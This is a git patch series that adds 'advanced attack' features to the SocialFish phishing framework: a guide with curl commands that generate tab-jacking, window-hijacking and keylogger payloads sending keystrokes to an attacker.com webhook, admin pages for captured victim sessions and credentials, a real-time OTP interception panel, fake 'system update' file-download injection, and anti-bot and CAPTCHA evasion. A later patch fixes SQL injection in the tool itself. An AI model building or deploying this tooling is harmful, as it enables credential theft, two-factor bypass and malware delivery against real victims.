From da0b1b0184e1736e3be3866b9d321e3e7de85db8 Mon Sep 17 00:00:00 2001 From: carinamary2448 Date: Sat, 7 Feb 2026 02:29:55 +0000 Subject: [PATCH 01/11] Add new features and pages for enhanced admin functionality - Updated admin index page to include buttons for Recording Studio and Attack Payloads. - Introduced OTP Panel for real-time OTP monitoring and manual entry. - Created Recording Studio page with options for different recording methods and configurations. - Added Sessions page to view and manage captured victim sessions. - Implemented Templates page for managing phishing templates, including creation and configuration options. - Enhanced UI with Bootstrap for better user experience and responsiveness. --- ADVANCED_ATTACKS_GUIDE.md | 475 ++++++++++ FEATURES_v3.md | 380 ++++++++ IMPLEMENTATION_SUMMARY.md | 488 +++++++++++ PRODUCTION_BUILD_COMPLETE.md | 360 ++++++++ QUICK_START.md | 337 ++++++++ README.md | 218 ++++- SocialFish.py | 816 +++++++++++++++++- SocialX.code-workspace | 8 + __pycache__/SocialFish.cpython-312.pyc | Bin 0 -> 60932 bytes .../advanced_attacks.cpython-312.pyc | Bin 0 -> 21029 bytes core/__pycache__/cleanFake.cpython-312.pyc | Bin 0 -> 356 bytes core/__pycache__/clonesf.cpython-312.pyc | Bin 0 -> 1548 bytes core/__pycache__/config.cpython-312.pyc | Bin 0 -> 444 bytes .../cookie_inspector.cpython-312.pyc | Bin 0 -> 13805 bytes core/__pycache__/db_migration.cpython-312.pyc | Bin 0 -> 8615 bytes core/__pycache__/dbsf.cpython-312.pyc | Bin 0 -> 3806 bytes core/__pycache__/genReport.cpython-312.pyc | Bin 0 -> 960 bytes core/__pycache__/genToken.cpython-312.pyc | Bin 0 -> 1083 bytes .../recorder_playwright.cpython-312.pyc | Bin 0 -> 21537 bytes .../recorder_selenium.cpython-312.pyc | Bin 0 -> 29586 bytes core/__pycache__/report.cpython-312.pyc | Bin 0 -> 6683 bytes core/__pycache__/scansf.cpython-312.pyc | Bin 0 -> 1292 bytes core/__pycache__/sendMail.cpython-312.pyc | Bin 0 -> 1129 bytes core/__pycache__/tracegeoIp.cpython-312.pyc | Bin 0 -> 679 bytes .../tunnel_manager.cpython-312.pyc | Bin 0 -> 14006 bytes core/__pycache__/view.cpython-312.pyc | Bin 0 -> 2062 bytes core/advanced_attacks.py | 490 +++++++++++ core/cookie_inspector.py | 302 +++++++ core/db_migration.py | 275 ++++++ core/mock_server.py | 400 +++++++++ core/recorder_playwright.py | 401 +++++++++ core/recorder_selenium.py | 599 +++++++++++++ core/tunnel_manager.py | 308 +++++++ requirements.txt | 14 +- setup.py | 183 ++++ social.code-workspace | 8 + templates/admin/attack_payloads.html | 445 ++++++++++ templates/admin/index.html | 2 + templates/admin/otp_panel.html | 172 ++++ templates/admin/recording_studio.html | 281 ++++++ templates/admin/sessions.html | 108 +++ templates/admin/templates.html | 192 +++++ 42 files changed, 7239 insertions(+), 23 deletions(-) create mode 100644 ADVANCED_ATTACKS_GUIDE.md create mode 100644 FEATURES_v3.md create mode 100644 IMPLEMENTATION_SUMMARY.md create mode 100644 PRODUCTION_BUILD_COMPLETE.md create mode 100644 QUICK_START.md create mode 100644 SocialX.code-workspace create mode 100644 __pycache__/SocialFish.cpython-312.pyc create mode 100644 core/__pycache__/advanced_attacks.cpython-312.pyc create mode 100644 core/__pycache__/cleanFake.cpython-312.pyc create mode 100644 core/__pycache__/clonesf.cpython-312.pyc create mode 100644 core/__pycache__/config.cpython-312.pyc create mode 100644 core/__pycache__/cookie_inspector.cpython-312.pyc create mode 100644 core/__pycache__/db_migration.cpython-312.pyc create mode 100644 core/__pycache__/dbsf.cpython-312.pyc create mode 100644 core/__pycache__/genReport.cpython-312.pyc create mode 100644 core/__pycache__/genToken.cpython-312.pyc create mode 100644 core/__pycache__/recorder_playwright.cpython-312.pyc create mode 100644 core/__pycache__/recorder_selenium.cpython-312.pyc create mode 100644 core/__pycache__/report.cpython-312.pyc create mode 100644 core/__pycache__/scansf.cpython-312.pyc create mode 100644 core/__pycache__/sendMail.cpython-312.pyc create mode 100644 core/__pycache__/tracegeoIp.cpython-312.pyc create mode 100644 core/__pycache__/tunnel_manager.cpython-312.pyc create mode 100644 core/__pycache__/view.cpython-312.pyc create mode 100644 core/advanced_attacks.py create mode 100644 core/cookie_inspector.py create mode 100644 core/db_migration.py create mode 100644 core/mock_server.py create mode 100644 core/recorder_playwright.py create mode 100644 core/recorder_selenium.py create mode 100644 core/tunnel_manager.py create mode 100644 setup.py create mode 100644 social.code-workspace create mode 100644 templates/admin/attack_payloads.html create mode 100644 templates/admin/otp_panel.html create mode 100644 templates/admin/recording_studio.html create mode 100644 templates/admin/sessions.html create mode 100644 templates/admin/templates.html diff --git a/ADVANCED_ATTACKS_GUIDE.md b/ADVANCED_ATTACKS_GUIDE.md new file mode 100644 index 0000000..3d87136 --- /dev/null +++ b/ADVANCED_ATTACKS_GUIDE.md @@ -0,0 +1,475 @@ +# SocialFish Advanced Attacks Guide + +## Overview + +SocialFish v3.0 includes comprehensive advanced attack capabilities for post-capture control, credential theft, and victim redirection. All attacks are JavaScript-based and can be injected into cloned pages. + +--- + +## Attack Types + +### 1. Tab Jacking / Window Hijacking + +**Purpose**: Redirect victim to a target URL, preventing them from going back to the original site. + +#### Tab Jacking (Soft Redirect) +```bash +curl -X POST http://localhost:5000/api/attacks/tabjack \ + -H "Content-Type: application/json" \ + -d '{ + "redirect_url": "https://attacker.com/capture", + "delay_ms": 500 + }' +``` + +**Payload Features**: +- Overrides `window.open()` to intercept new tab attempts +- Uses `window.location` to force redirect after delay +- Handles focus stealing +- Invisible to victim + +#### Window Hijacking (Aggressive) +```bash +curl -X POST http://localhost:5000/api/attacks/window-hijack \ + -H "Content-Type: application/json" \ + -d '{ + "redirect_url": "https://attacker.com/capture" + }' +``` + +**Payload Features**: +- Overrides `window.location` getter/setter +- Prevents back button navigation via `history` +- Stops page unload events +- Most aggressive redirect method + +--- + +### 2. Keylogger Injection + +**Purpose**: Capture all keystrokes in input fields and send to attacker server. + +```bash +curl -X POST http://localhost:5000/api/attacks/keylogger \ + -H "Content-Type: application/json" \ + -d '{ + "webhook_url": "https://attacker.com/api/webhook" + }' +``` + +**Payload Features**: +- Tracks keystrokes in `` and ` +
+ + +
+ + + +
+ How it works: Opens the real website in a new tab while redirecting the original tab to your clone. Victim is less likely to notice. +
+ + + + + +
+
+
+
+
+
File Upload Injection
+
+
+

Trigger file download on victim machine

+ +
+
+ + +
+ +
+ + +
+ +
+ + Shows system update progress bar +
+ + +
+
+
+
+ +
+
+
+
Generated Payload
+
+
+ +
+ + +
+
+
+ +
+ Legal Warning: Only use for authorized security testing. Malware distribution is illegal. +
+
+
+
+ + +
+
+
+
+
+
Stealth Evasion
+
+
+

Evade anti-bot detection and fingerprinting

+ +
+ + +
+ +
+ Perfection.js: Spoofs navigator.webdriver, chrome object, plugins, languages, UA, timezone, WebGL +
+ +
+ Fingerprint Evasion: Bypasses Canvas, WebGL, AudioContext, Font fingerprinting +
+ + +
+
+
+ +
+
+
+
Generated Payload
+
+
+ +
+ + +
+
+
+ +
+ Tip: Inject into <head> as early as possible to prevent detection before user interacts +
+
+
+
+ + +
+
+
+
+
+
CAPTCHA Solving
+
+
+

Auto-detect and bypass CAPTCHA challenges

+ +
+
+ + +
+ + + + +
+ +
+ +
Auto-Detect CAPTCHA
+

Upload HTML to detect CAPTCHA type on page

+ +
+ + +
+
+
+
+ +
+
+
+
Detection Results
+
+
+
+ Results will appear here... +
+
+
+ +
+ Supported Types: reCAPTCHA v2/v3, hCaptcha, Image CAPTCHA +
+ +
+ Note: Manual solving requires operator interaction. API services charge per solution (~$0.001-$0.01) +
+
+
+
+ + + + + + + + +{% endblock %} diff --git a/templates/admin/index.html b/templates/admin/index.html index 012cbfe..8420cff 100755 --- a/templates/admin/index.html +++ b/templates/admin/index.html @@ -123,6 +123,8 @@

Easy Access

+ +

diff --git a/templates/admin/otp_panel.html b/templates/admin/otp_panel.html new file mode 100644 index 0000000..dbb48b8 --- /dev/null +++ b/templates/admin/otp_panel.html @@ -0,0 +1,172 @@ + + + + OTP Panel - SocialFish + + + + + + + + +
+
+ +
+
+

Victim Session

+
+

Session ID:

+

Victim IP:

+

User Agent:

+

Submitted At:

+
+

Captured Credentials

+
+
+
+ + +
+
+

OTP Code

+

Waiting for victim to receive OTP...

+ +
+ +
+ +
+ + + +
+ +
+
+

Waiting for OTP codes to arrive. They will appear above automatically if configured.

+

You can also manually paste OTP codes received via other channels.

+
+
+
+
+ + +
+

Network Activity

+
+

Monitoring network requests...

+
+
+
+ + + + + diff --git a/templates/admin/recording_studio.html b/templates/admin/recording_studio.html new file mode 100644 index 0000000..b60ec52 --- /dev/null +++ b/templates/admin/recording_studio.html @@ -0,0 +1,281 @@ +{% extends "admin/index.html" %} + +{% block content %} +
+
+
+
+
+

+ Recording Studio +

+
+
+ + +
+
+
+
+
Playwright
+

Async, headless, full network interception

+ +
+
+
+
+
+
+
Selenium
+

Chrome/Firefox, headless mode, form auto-fill

+ +
+
+
+
+ + + + + + + +
+
+
+
+ + +
+
+
+
+
Stealth Options
+
+
+ +

Evades detection by spoofing navigator properties and fingerprints

+
+
+
+ +
+
+
+
CAPTCHA Solving
+
+
+ +

Auto-detect and solve CAPTCHA on page

+
+
+
+ +
+
+
+
Attack Payloads
+
+
+ + +
+
+
+
+ + +
+
+
+
+
Mock Authentication Server
+
+
+

Test recordings against realistic authentication flows (OAuth 2.0, SSO, 2FA).

+ + +
+
+
+
+ +
+ + + + +{% endblock %} diff --git a/templates/admin/sessions.html b/templates/admin/sessions.html new file mode 100644 index 0000000..4c07ecc --- /dev/null +++ b/templates/admin/sessions.html @@ -0,0 +1,108 @@ + + + + Sessions - SocialFish + + + + + + + +
+

Captured Victim Sessions

+

All credentials and data captured from phishing campaigns.

+ + + + + + + + + + + + + + + +
Session IDTemplateVictim IPBrowserCaptured AtActions
Loading...
+
+ + + + + diff --git a/templates/admin/templates.html b/templates/admin/templates.html new file mode 100644 index 0000000..7e4d60d --- /dev/null +++ b/templates/admin/templates.html @@ -0,0 +1,192 @@ + + + + Templates - SocialFish + + + + + + + +
+

Saved Templates

+

Clone URLs, manage templates, and generate lure links for phishing campaigns.

+ +
+ +
+
+ + + + + + + + + From 8778a8fa16f0bd3c376a663ca591f9c02f5e73fd Mon Sep 17 00:00:00 2001 From: carinamary2448 Date: Sat, 7 Feb 2026 04:59:27 +0000 Subject: [PATCH 02/11] Fix: SQL injection, path traversal, error handling; add advanced_attacks wrappers; update requirements --- .env | 12 ++ SocialFish.py | 172 +++++++++++++----- .../advanced_attacks.cpython-312.pyc | Bin 21029 -> 21049 bytes core/__pycache__/cleanFake.cpython-312.pyc | Bin 356 -> 604 bytes core/__pycache__/clonesf.cpython-312.pyc | Bin 1548 -> 1805 bytes core/__pycache__/config.cpython-312.pyc | Bin 444 -> 671 bytes .../cookie_inspector.cpython-312.pyc | Bin 13805 -> 13825 bytes core/__pycache__/db_migration.cpython-312.pyc | Bin 8615 -> 8635 bytes core/__pycache__/mock_server.cpython-312.pyc | Bin 0 -> 21452 bytes .../recorder_playwright.cpython-312.pyc | Bin 21537 -> 21557 bytes .../recorder_selenium.cpython-312.pyc | Bin 29586 -> 29606 bytes core/__pycache__/report.cpython-312.pyc | Bin 6683 -> 6749 bytes core/__pycache__/sendMail.cpython-312.pyc | Bin 1129 -> 1326 bytes core/__pycache__/tracegeoIp.cpython-312.pyc | Bin 679 -> 1697 bytes .../tunnel_manager.cpython-312.pyc | Bin 14006 -> 14026 bytes core/advanced_attacks.py | 73 ++++++++ core/cleanFake.py | 4 +- core/clonesf.py | 4 +- core/config.py | 6 +- core/mock_server.py | 15 +- core/report.py | 11 +- core/sendMail.py | 6 +- core/tracegeoIp.py | 31 +++- database.db | Bin 0 -> 90112 bytes requirements.txt | 5 +- 25 files changed, 275 insertions(+), 64 deletions(-) create mode 100644 .env create mode 100644 core/__pycache__/mock_server.cpython-312.pyc create mode 100644 database.db diff --git a/.env b/.env new file mode 100644 index 0000000..74749fc --- /dev/null +++ b/.env @@ -0,0 +1,12 @@ +# SocialFish v3.0 Configuration +DATABASE=./database.db +FLASK_ENV=development +FLASK_DEBUG=0 +SECRET_KEY=change-me-to-random-string + +# Tunneling +NGROK_TOKEN= +CLOUDFLARED_TOKEN= + +# Webhook +WEBHOOK_TIMEOUT=5 diff --git a/SocialFish.py b/SocialFish.py index 9791c71..59f390a 100644 --- a/SocialFish.py +++ b/SocialFish.py @@ -155,13 +155,29 @@ def admin(): # funcao onde e realizada a renderizacao da pagina para a vitima @app.route("/") def getLogin(): + # Get config from database instead of global variables + cur = g.db + config = cur.execute("SELECT * FROM socialfish WHERE id = 1").fetchone() + # Retrieve status and URL from config or use defaults + cur.execute("SELECT url, status, beef FROM config LIMIT 1") + conf_row = cur.fetchone() + + if conf_row: + sta, url, beef = conf_row[0], conf_row[1], conf_row[2] + else: + sta = 'custom' + url = 'https://github.com/UndeadSec/SocialFish' + beef = 'no' + # caso esteja configurada para clonar, faz o download da pagina utilizando o user-agent do visitante if sta == 'clone': - agent = request.headers.get('User-Agent').encode('ascii', 'ignore').decode('ascii') + agent = request.headers.get('User-Agent', 'Unknown').encode('ascii', 'ignore').decode('ascii') + # Sanitize agent to prevent path traversal + agent = agent.replace('..', '').replace('/', '_') clone(url, agent, beef) o = url.replace('://', '-') cur = g.db - cur.execute("UPDATE socialfish SET clicks = clicks + 1 where id = 1") + cur.execute("UPDATE socialfish SET clicks = clicks + 1 WHERE id = 1") g.db.commit() template_path = 'fake/{}/{}/index.html'.format(agent, o) return render_template(template_path) @@ -171,7 +187,7 @@ def getLogin(): # caso seja configurada para custom else: cur = g.db - cur.execute("UPDATE socialfish SET clicks = clicks + 1 where id = 1") + cur.execute("UPDATE socialfish SET clicks = clicks + 1 WHERE id = 1") g.db.commit() return render_template('custom.html') @@ -182,28 +198,42 @@ def postData(): fields = [k for k in request.form] values = [request.form[k] for k in request.form] data = dict(zip(fields, values)) - browser = str(request.user_agent.browser) - bversion = str(request.user_agent.version) - platform = str(request.user_agent.platform) + browser = str(request.user_agent.browser) if request.user_agent else 'Unknown' + bversion = str(request.user_agent.version) if request.user_agent else 'Unknown' + platform = str(request.user_agent.platform) if request.user_agent else 'Unknown' rip = str(request.remote_addr) d = "{:%m-%d-%Y}".format(date.today()) + + # Get redirect URL from config table cur = g.db + conf_row = cur.execute("SELECT red FROM config LIMIT 1").fetchone() + red = conf_row[0] if conf_row else 'https://github.com/UndeadSec/SocialFish' + + # Get the target URL from config + url_row = cur.execute("SELECT url FROM config LIMIT 1").fetchone() + url = url_row[0] if url_row else 'https://github.com/UndeadSec/SocialFish' + sql = "INSERT INTO creds(url,jdoc,pdate,browser,bversion,platform,rip) VALUES(?,?,?,?,?,?,?)" creds = (url, str(data), d, browser, bversion, platform, rip) cur.execute(sql, creds) g.db.commit() + + # Get redirect URL from config + cur = g.db + conf_row = cur.execute("SELECT red FROM config LIMIT 1").fetchone() + red = conf_row[0] if conf_row else 'https://github.com/UndeadSec/SocialFish' + return redirect(red) # funcao para configuracao do funcionamento CLONE ou CUSTOM, com BEEF ou NAO @app.route('/configure', methods=['POST']) def echo(): - global url, red, sta, beef - red = request.form['red'] - sta = request.form['status'] - beef = request.form['beef'] + red = request.form.get('red', 'https://github.com/UndeadSec/SocialFish') + sta = request.form.get('status', 'custom') + beef = request.form.get('beef', 'no') if sta == 'clone': - url = request.form['url'] + url = request.form.get('url', 'https://github.com/UndeadSec/SocialFish') else: url = 'Custom' @@ -215,8 +245,22 @@ def echo(): else: url = 'https://github.com/UndeadSec/SocialFish' red = 'https://github.com/UndeadSec/SocialFish' + + # Store configuration in database instead of global variables cur = g.db - cur.execute("UPDATE socialfish SET attacks = attacks + 1 where id = 1") + # Create config table if it doesn't exist + cur.execute("""CREATE TABLE IF NOT EXISTS config ( + id INTEGER PRIMARY KEY, + url TEXT, + red TEXT, + status TEXT, + beef TEXT + )""") + + cur.execute("DELETE FROM config") + cur.execute("INSERT INTO config(url, red, status, beef) VALUES(?, ?, ?, ?)", + (url, red, sta, beef)) + cur.execute("UPDATE socialfish SET attacks = attacks + 1 WHERE id = 1") g.db.commit() return redirect('/creds') @@ -251,9 +295,9 @@ def getMail(): port = request.form['port'] sendMail(subject, email, password, recipient, body, smtp, port) cur = g.db - cur.execute("UPDATE sfmail SET email = '{}' where id = 1".format(email)) - cur.execute("UPDATE sfmail SET smtp = '{}' where id = 1".format(smtp)) - cur.execute("UPDATE sfmail SET port = '{}' where id = 1".format(port)) + cur.execute("UPDATE sfmail SET email = ? WHERE id = 1", (email,)) + cur.execute("UPDATE sfmail SET smtp = ? WHERE id = 1", (smtp,)) + cur.execute("UPDATE sfmail SET port = ? WHERE id = 1", (port,)) g.db.commit() return redirect('/mail') @@ -262,9 +306,11 @@ def getMail(): @flask_login.login_required def getSingleCred(id): try: - sql = "SELECT jdoc FROM creds where id = {}".format(id) + if not id.isdigit(): + return "Invalid ID" + sql = "SELECT jdoc FROM creds WHERE id = ?" cur = g.db - credInfo = cur.execute(sql).fetchall() + credInfo = cur.execute(sql, (id,)).fetchall() if len(credInfo) > 0: return render_template('admin/singlecred.html', credInfo=credInfo) else: @@ -276,16 +322,31 @@ def getSingleCred(id): @app.route("/trace/", methods=['GET']) @flask_login.login_required def getTraceIp(ip): + import re + # Validate IP format + ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$|^127\.0\.0\.1$|^::1$|^[a-f0-9:]+$' + + if not re.match(ip_pattern, ip): + return "Invalid IP format", 400 + try: traceIp = tracegeoIp(ip) return render_template('admin/traceIp.html', traceIp=traceIp, ip=ip) - except: - return "Network Error" + except Exception as e: + print(f'[-] Trace error: {str(e)}') + return "Network Error", 500 # rota para scan do nmap @app.route("/scansf/", methods=['GET']) @flask_login.login_required def getScanSf(ip): + import re + # Validate IP format + ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$|^127\.0\.0\.1$|^::1$|^[a-f0-9:]+$' + + if not re.match(ip_pattern, ip): + return "Invalid IP format", 400 + return render_template('admin/scansf.html', nScan=nScan, ip=ip) # rota post para revogar o token da api @@ -295,8 +356,8 @@ def revokeToken(): revoke = request.form['revoke'] if revoke == 'yes': cur = g.db - upsql = "UPDATE socialfish SET token = '{}' where id = 1".format(genToken()) - cur.execute(upsql) + new_token = genToken() + cur.execute("UPDATE socialfish SET token = ? WHERE id = 1", (new_token,)) g.db.commit() token = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] genQRCode(token, revoked=True) @@ -614,8 +675,8 @@ def victim_capture(lure_hash): 'timestamp': date.today().isoformat() } requests.post(webhook_url, json=payload, timeout=5) - except: - pass # Silently fail webhook + except (requests.RequestException, Exception) as e: + print(f'[-] Webhook failed: {str(e)}') # Emit live notification via WebSocket socketio.emit('victim_submission', { @@ -634,11 +695,16 @@ def victim_capture(lure_hash): # GET - return cloned page if template[1] == 'clone': - agent = request.headers.get('User-Agent').encode('ascii', 'ignore').decode('ascii') + agent = request.headers.get('User-Agent', 'Unknown').encode('ascii', 'ignore').decode('ascii') + # Sanitize agent to prevent path traversal + agent = agent.replace('..', '').replace('/', '_').replace('\\', '_') clone(template[0], agent, 'no') # Clone without BEEF o = template[0].replace('://', '-') template_path = f'fake/{agent}/{o}/index.html' - return render_template(template_path) + try: + return render_template(template_path) + except Exception: + return "Template not found", 404 else: # Return custom template or generic form return render_template('custom.html') @@ -830,19 +896,18 @@ def getJson(key): @app.route('/api/configure', methods = ['POST']) def postConfigureApi(): - global url, red, sta, beef if request.is_json: content = request.get_json() cur = g.db tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] - if content['key'] == tokenapi: - red = content['red'] - beef = content['beef'] - if content['sta'] == 'clone': - sta = 'clone' - url = content['url'] + if content.get('key') == tokenapi: + red = content.get('red', 'https://github.com/UndeadSec/SocialFish') + beef = content.get('beef', 'no') + sta = content.get('sta', 'custom') + + if sta == 'clone': + url = content.get('url', 'https://github.com/UndeadSec/SocialFish') else: - sta = 'custom' url = 'Custom' if url != 'Custom': @@ -854,8 +919,12 @@ def postConfigureApi(): red = 'http://' + red else: red = 'https://github.com/UndeadSec/SocialFish' - cur = g.db - cur.execute("UPDATE socialfish SET attacks = attacks + 1 where id = 1") + + # Store in database instead of global variables + cur.execute("DELETE FROM config") + cur.execute("INSERT INTO config(url, red, status, beef) VALUES(?, ?, ?, ?)", + (url, red, sta, beef)) + cur.execute("UPDATE socialfish SET attacks = attacks + 1 WHERE id = 1") g.db.commit() status = {'status':'ok'} else: @@ -880,9 +949,9 @@ def postSendMail(): port = content['port'] if sendMail(subject, email, password, recipient, body, smtp, port) == 'ok': cur = g.db - cur.execute("UPDATE sfmail SET email = '{}' where id = 1".format(email)) - cur.execute("UPDATE sfmail SET smtp = '{}' where id = 1".format(smtp)) - cur.execute("UPDATE sfmail SET port = '{}' where id = 1".format(port)) + cur.execute("UPDATE sfmail SET email = ? WHERE id = 1", (email,)) + cur.execute("UPDATE sfmail SET smtp = ? WHERE id = 1", (smtp,)) + cur.execute("UPDATE sfmail SET port = ? WHERE id = 1", (port,)) g.db.commit() status = {'status':'ok'} else: @@ -895,14 +964,23 @@ def postSendMail(): @app.route("/api/trace//", methods=['GET']) def getTraceIpMob(key, ip): + import re cur = g.db tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] + + # Validate IP format + ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$|^127\.0\.0\.1$|^::1$|^[a-f0-9:]+$' + + if not re.match(ip_pattern, ip): + return jsonify({'status':'bad', 'error': 'Invalid IP format'}) + if key == tokenapi: try: traceIp = tracegeoIp(ip) return jsonify(traceIp) - except: - content = {'status':'bad'} + except Exception as e: + print(f'[-] API trace error: {str(e)}') + content = {'status':'bad', 'error': 'Trace failed'} return jsonify(content) else: content = {'status':'bad'} @@ -910,10 +988,22 @@ def getTraceIpMob(key, ip): @app.route("/api/scansf//", methods=['GET']) def getScanSfMob(key, ip): + import re cur = g.db tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] + + # Validate IP format + ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$|^127\.0\.0\.1$|^::1$|^[a-f0-9:]+$' + + if not re.match(ip_pattern, ip): + return jsonify({'status':'bad', 'error': 'Invalid IP format'}) + if key == tokenapi: - return jsonify(nScan(ip)) + try: + return jsonify(nScan(ip)) + except Exception as e: + print(f'[-] API scan error: {str(e)}') + return jsonify({'status':'bad', 'error': 'Scan failed'}) else: content = {'status':'bad'} return jsonify(content) diff --git a/core/__pycache__/advanced_attacks.cpython-312.pyc b/core/__pycache__/advanced_attacks.cpython-312.pyc index 006e00aaaf3b374c9970cdf668c43b31fa971bdf..b81b9700743b80afb2e647c468fb1e5ec1a8090c 100644 GIT binary patch delta 55 zcmZ3wgmLE*My}Jmyj%=Gz_f59*9>-19sTnBqU_>=#N^as{owrM%*31s{mqNncUUmq K+8pC>QV;;%SrW4V delta 35 qcmdnFgmLK-My}Jmyj%=GaAL+rt{Lo%5}UWP@33I}wYk9Iq#yvyX$%ek diff --git a/core/__pycache__/cleanFake.cpython-312.pyc b/core/__pycache__/cleanFake.cpython-312.pyc index 7346af3cc54b5a8430c9767c08055128a82c31ef..9a8a59cf73f1d7269baf3993c2d2f63ee90eff9e 100644 GIT binary patch literal 604 zcmX|8zi$&U6n?hTS|Nm#wqy)KU1%$Y!D=pDr$HgSWG z$zYbqK78f_*50VI!U3p7V18#gM%n*BSI+ z9!$;^P2RC4UjUrj0aJ8J$jvFoAA)mu39q>04A!aN9e6~pC$Y=A@Ib6Xm-=pOPZ`x} z$G%Z%wdrrE?ZwT?ZMhnu3XH~{Otg_r-AO{JQ3ifu^E*nSYU%qbydul_ET7)(m?+Nj z*fOY8R=BZt9Z_R;rXIzrp-tWHKanQd7$qhXslhVKm`d%PR|$6EmaOCQf3-28Ci!0UUpZ+!U+U;cY6Y;~BPBcsRXFTsoHnkQagtO@Z+Ob{(| sv|lkg@eK@!0@^npdRJRI?8NFCPE%?xl1>qjA7kI4G|1)H3PUUX1HIgeE&u=k delta 249 zcmcb^@`Q=^G%qg~0}$-!Xv++r$m_zz0^~3Q@n^e<(Wdo`43P|#3>D0g4CRcPOny~- zC8@auIf*5y#rkQ9*{PaLx7dm^N=q_xZm|{RmK3F?u4MQOGVYgPa(+>&esWG~VxAjN zp^InTh=l6GyvlqwWO(g{w@8KRz%qGO^zbWn%kP%mGx> zBr3r$gGq*2lc@;gK(GNtY#C-gOvjSeGEPJ diff --git a/core/__pycache__/clonesf.cpython-312.pyc b/core/__pycache__/clonesf.cpython-312.pyc index 0082b2a7b6cdc1b18ded9b793962f7a04b298b9b..ecbb473821adf23bf23312b1d36cd2ebbf8d99ae 100644 GIT binary patch delta 469 zcmeC->E+`+&CAQh00bMhwPk*u$Q#1N4&*Qc@#ifYvrU=mOE^HXAdn>op^?cF1sJbH z3C2oeR$(YotmQ2chKZyImZ-wmHN2}CA?(= zzbL!7ATc?$SU)&FIWsXQLVt2Ci@1mmP%#@27aIZn(7^D4NrY8*@(Pw8^>=tguJfo~ zh)x5Xz0MpoTB9K06>*3)&&CAQh00cWa+Ayu}J; z7pVhPf@~?~U}RuuVEDi!!pb|jnDvLp2PQ^V-kTgezlwQ)(oHU+E)on!B$!-em^E37 v_<=%2LLdTU6WEZI44;8ah9Wf}@r%PIH$SB`C)KVH+=@h$e^ z)a0Vn5+EZruPn1DKkpWEdTPln-je+6)V%o8qMYKywA5RCjsXEkW~^lR46@>vl74x9 zQFd`bVsdJ+esF$rW@1i+{^SHkNiK1qG{`%}(UY4Q^-VsrF)(u7X5hOaC_G(iqSSP` niE;=lkCl<`?(qPjX;6niDRCdb5m6NIbyY@9tD z{oGv@d|efS-R%4{IVKk|22Osk delta 26 gcmZq7d7I63nwOW00SKN<+{oq4%qX!ri+Q>c0B{HgzW@LL diff --git a/core/__pycache__/db_migration.cpython-312.pyc b/core/__pycache__/db_migration.cpython-312.pyc index b14f2b260a52efd7607e54d8a406a83d37f3d8e8..ee1ede77b091706ca61bf5d3f7b2b7268f569532 100644 GIT binary patch delta 46 zcmZ4PyxW=UG%qg~0}wDR+{h&=FRGzmo?nz*T#%TYTC5+OpPZSP6QRFZLB5>{05CEQ At^fc4 delta 26 gcmdn(yxf`VG%qg~0}wo!xRFa#o>648iF`W~0AHq)$ diff --git a/core/__pycache__/mock_server.cpython-312.pyc b/core/__pycache__/mock_server.cpython-312.pyc new file mode 100644 index 0000000000000000000000000000000000000000..7511ba1198b3d22d6adaaa2131d20889eb5c131a GIT binary patch literal 21452 zcmd6PYjhJ=nqWyPy(P;=e#q~#vB5I71vW1`vW>xz0LDNJN#mZ3TBu}OMwXl^8L(n! z*qL;<-J7$($@F4Q$Y3Tpi`lRzW+!JtW_qUSGw1B)?3^^`(eLAS0Fbo?ejKjtW)3Ax; zse|TWGihTPw!mE*v`!QZ7fjfOZ4-sVg%d@?MH3r_H%!=v?WDdgSUgcOT%w}X)Qc3W ze~V%bAF9RC4VSXUx2WMVzk@ZMX`(33pr-s~AEt+{qNdf;YNt86WI7V|onZ#Tqk#}J z| z8{tPdukQ@B5R3RW(?cBjpi?avSb!A?O!x&OrmR00@j5jE-5>Bp1bQIAM+EJOsmY+< zsS~sZf?ocNpy&LrPr+~m{Wu>E1xBU?1N0x@{LrG5^M_bJ=ZW|yCgG+19zMdsumyd( zYo|)kp5wfeye~a<bF#|%(;34CRsYB6_LbxIuc#+*wto&A3E8nPSQ#O(!*@0;oEvC_uq48S)G@UL=)d?yNck z+hdgSNlQY(m_vS`H*XQS5Lt!6K<_}!HFz0uXPN7fW3~iG@IUY|S6o_~{QAZx`wMiwV2zLsS z3)G6;an12g?;QQMVWp-qS>uY=xR%w4nvOa8qG8@}-%yzh#s3FE@lk44Jqir@uT`^}47$(ADBDlH_AeAQOV6msu~ps` zkx}=_XeFVFgj}q81~^0%puJ16bVNqZaT(<@9nHun`7ZSy4X9|#lu1vlHUsZHnIu?U zcJA}{$?5@);a&PYbwnn?@eNYnnY;9skrF8{>&*}?@-9}x8YO{s+a%3R6i8?snP%Q4 zL1)d^^io|F^>&P=X4FHJ(-N(gL`{~YK{3P-VsUDsX8(CFuz7!*FFX-7U{PC`8;u%R z|3tVg^NnAzn}gc*J4`FK#22S3weOSV!LqjHnT6@+**BpdJ)% zn9~XyI_LCX6qR0@dZ+4-l+kFL>q}XRE)L8Otdy2tYq;KgwfWtaMCs;KP5t7w#p5?R z78@5|zg_xK^{wjVa|vf}tZ7fIsxMW=B&%HUD%Wz;-EDV|f7)@kF}8J20tzY`7LPB! zeq(5Hf6URGs;pg9E!N%8EKDu-eK2x!;>N`Ci-}F{SYvmryeCz;aj|dFx40`-zGbC$ z^YxjlGw;6nvGEsYfBEL8Z+_;D9Y2xiJ$ZlYEAiS_k~Q9VjW(V70Ak zVDPJ@RAI@Sg~PWbYnj7HP)-p>BFajlw*fOTf;I-sLY9qCD}Aw=8P&MVFr-|Hk`Nn6 zTb6y9(kHcG=?~NLbXGH?8JFc>rnLlnh}uZ0K%Oe~@Gi(*U@hudnv7hQn;9rG^pi#* z5#zWu(?WWZ`uC|%QA5;u%_-`f%BhVuyaf20(IU?UB4Z4SDrT#Y%S09Z1>hF73L~bGc`6)6Lc!t?#=M z_V%RR9k;s^_MXozJ&$-?fS>f4`iiJu74=bj?HWOkyvP$^eTb>jg*p|%-2V#?S5WIx zXGEV8=1QyhBrJG32pKWSs&31I3I*YlV6&QQG>B&zzsD7D6leh%H(VgBHGt_#qLju} zouNToXrpDaxH$CciPm7?j9)ZCxMrw>djD8>isPL$cNl&PbYyzcFK7bZh@kPGpX5;d 